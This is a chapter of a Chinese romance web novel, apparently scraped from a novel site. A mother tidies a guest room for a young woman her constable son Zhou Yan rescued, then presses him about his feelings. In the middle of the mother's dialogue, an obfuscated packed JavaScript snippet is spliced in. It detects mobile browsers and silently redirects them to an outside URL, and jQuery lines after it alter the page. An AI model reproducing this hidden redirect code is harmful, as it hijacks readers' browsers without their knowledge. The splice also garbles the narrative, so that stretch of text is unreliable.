张春兰啧啧两声，想到儿子就头疼，吐槽道：“一点也不讲究，说一百遍都不见改，脾气说来就来，跟个炮仗似的。娇娇也是，自家男人也不管着点。” 周母深知好友挑剔的秉性，从她嘴里出来就没几句好话，当即不赞同道：“你差不多得了，总揭孩子的短，就你挑剔大牛的几句话我们都听许多遍了，何况大牛自己呢！” “是啊是啊！”翠英嫂子跟着附和，真诚的劝说道：“大牛是个实诚孩子，脾气哪有你说的那么坏，还不是你没事找事，总揪着无关紧要的小问题挑剔他，孩子大了，媳妇也娶了，小两口的日子你莫要插手太多，没得惹人烦。” “是是是，我都明白，这不是控制不住自己吗？”张春兰无奈叹了一口气。 她并非不识好歹之人，姐妹们的建议真诚有用，她都记在心里了，只不过习惯的力量太强大，总控制不住自己，嘴比脑子快，多次下来，孩子都要跟她生出嫌隙了，她也愁着呢！ “哪有什么控制不住，端看你愿不愿意狠心改变，以后想说伤人的话时，你就咬牙忍住，即便话已说出一半也狠心憋回去，时间一长，慢慢就改了，别怕丢脸，自家孩子还能笑话你不成？” 周母一边念叨一边收拾东西，起身就要走，张春兰忙问：“活还没干完，你要去哪？” “还能去哪？回家收拾屋子呗，那姑娘来投亲，闹成这样绝对不可能和好了，没地住，这会儿还在客栈将就着。砚哥儿考虑不周全，当着那么多人的面放出话，不管人家来不来，我都该提前准备好，不能失了礼数。” 周母笑盈盈留下一句话，哼着小曲回家了。 翠英嫂子和张春兰对视一眼，也不约而同笑起来。 周母一到家立马开干，前前后后用了一个时辰，终于将家中唯一的客房收拾干净。 她心情好了，干活特别起劲，丝毫不觉得累。 平时家里很少有客人来，客房基本都空着积灰，打扫干净后，周母里里外外检查一个遍，怎么看都觉得房间太空太寒碜了。 随即她找出一套茶具摆上，又从自己的嫁妆箱笼中翻出一块藕荷色的床帐将原先客房中那块灰扑扑的床帐替换掉。 床头桌太空，她便去路边摊淘一个浅蓝色的小花瓶，顺便买一束藕荷色绢布制作的假花插进去，搁置在床头，与床帐很是相配。 从打扫到布置，都是周母一个人忙活，前后花费一个半时辰，屋子总算焕然一新，有个姑娘闺房的样子了。 她满意地点点头，突然想起什么猛拍大腿，惊呼道：“哎哟，酉时正刻了，我晚饭还没烧呢！” 说完，她急哄哄赶去离家最近的小菜市称了两斤卤猪头肉，再带一把小青菜。 回到巷口恰巧偶遇刚下衙的周砚，母子俩一块回家，又一块做晚饭。 饭桌上，周砚一如既往的沉默。 而周母好几次想开口询问关于宁秋的事，都在对上儿子目光时犹豫了。 心里惦记着事，她吃饭也不舒心，余光一直往对面瞅，眼看周砚扒拉完最后一口饭起身走人，她赶忙出声，急急喊道：“等一下，娘有话要问你。” “嗯？”周砚回头，面露疑惑，不过还是听话坐回原位了。 “你没什么话要跟娘说吗？”周母问。 “什么话？” 周砚不解，只觉得今晚的阿娘实在奇怪，好几次看着他欲言又止，一副想说话又不知道要说什么的模样，直觉告诉他背后定然有事，果不其然，该来的还是来了。 他对上自家娘恨铁不成钢的眼神，莫名有些心虚，但他不明白自家娘想听什么，而他自己也没有特别的事要说。 想了想，他还是遵从本心直接说道：“您老有什么话直言便是，不必试探，您都盯我一晚上了，我又不瞎。” “你知道啊？知道还装傻充愣敷衍老娘，一天天的，不让人省心。” 周母白了儿子一眼，没好气地继续道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570953|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“说说吧！午后什么情况，你又是咋想的？现在左邻右舍都夸你孝顺，聘请宁巧娘她侄女来照顾我，我白白受了儿子的孝顺，总该有知情权，不然出去走动旁人问起我都回答不上来岂不是尴尬？” “这事没什么好说的，路见不平拔刀相助罢了，什么约定都是孩儿临时找的借口，娘不必当真。” 周砚不想多说，端起水杯喝了一大口，眼帘低垂，遮掩眼眸中细微的情绪变化。 “哦，你说不当真就不当真了？”周母心里烦躁的很，俨然是被儿子不以为意的态度气到了，当即吐槽道：“多说两句话你会少几块肉吗？跟地里的癞蛤蟆似的，戳一下屁股就往前跳一下，想从你嘴里多听点大实话可真难。” 周砚：…… “怎么，我说你说错了？臭脸给谁看啊？” 周砚：…… 气归气，周母还是不死心地追问道：“你老实跟娘说，你是不是看上宁巧娘的侄女了？那姑娘叫什么名？你若是喜欢，娘便帮你探探口风。” “没有，我们之间什么关系都没有，您别乱来。” 周砚暗暗叹了一口气，感觉他娘想儿媳妇想的快魔怔了，当即无奈地解释道：“我是捕快，吃的公家饭，违法乱纪之事就发生在咱们家门口，我人在现场亲眼所见，若是什么反应都没有，眼睁睁看着一个无辜的姑娘陷入绝境，如何对得起这身衣裳？在其位谋其职，如此百姓方能信服我。娘，您要是需要人伺候，我给您买个懂事的小丫鬟，不要舍不得钱。” “行了行了，解释那么多真难为你了。老娘不需要人伺候，你若有心赶紧娶个媳妇回来，别整那套没用的大道理，赶紧出去该干嘛就干嘛，莫要在我眼前晃悠，看到你就烦。” 周母嫌弃地摆摆手，将周砚打发出去，缓了好一会儿才平息好翻涌的情绪，收拾碗筷，一边洗，一边盘算着其他办法。 以自家儿子的性格，没有她从中助力，没有她帮忙操持，这辈子都得打光棍。 三巴掌拍不出一个屁，哪个姑娘愿意嫁这种人，气都气饱了。 周母在心中暗暗腹诽，嫌弃归嫌弃，却不能真的放手不管，而且从过来人的眼光看，自家儿子确实对宁家丫头不同，只是他自己没发现而已。 说什么职责所在，平州城中每天那么多人需要帮忙，男女老少，可怜之人不在少数，他怎么不去可怜别人？也没见他一而再，再而三地帮助其他人啊！ 周母越想越觉得自己猜中了真相，心情都跟着愉悦起来，不知不觉地哼起小曲。 周砚被赶出厨房也不恼，一笑置之，随即提桶打水，快速地洗去一身尘土。 晚秋的井水比他想象中寒凉，落到身上时，连他都没忍住打了个哆嗦，鸡皮疙瘩纷纷冒出来。 不过他有意锻炼自己的体魄，无论天热天冷都一样，冷水从他的肌肉纹理划过，留下一道道水痕，很快又被新的冷水冲刷，一遍又一遍，身体渐渐就适应了。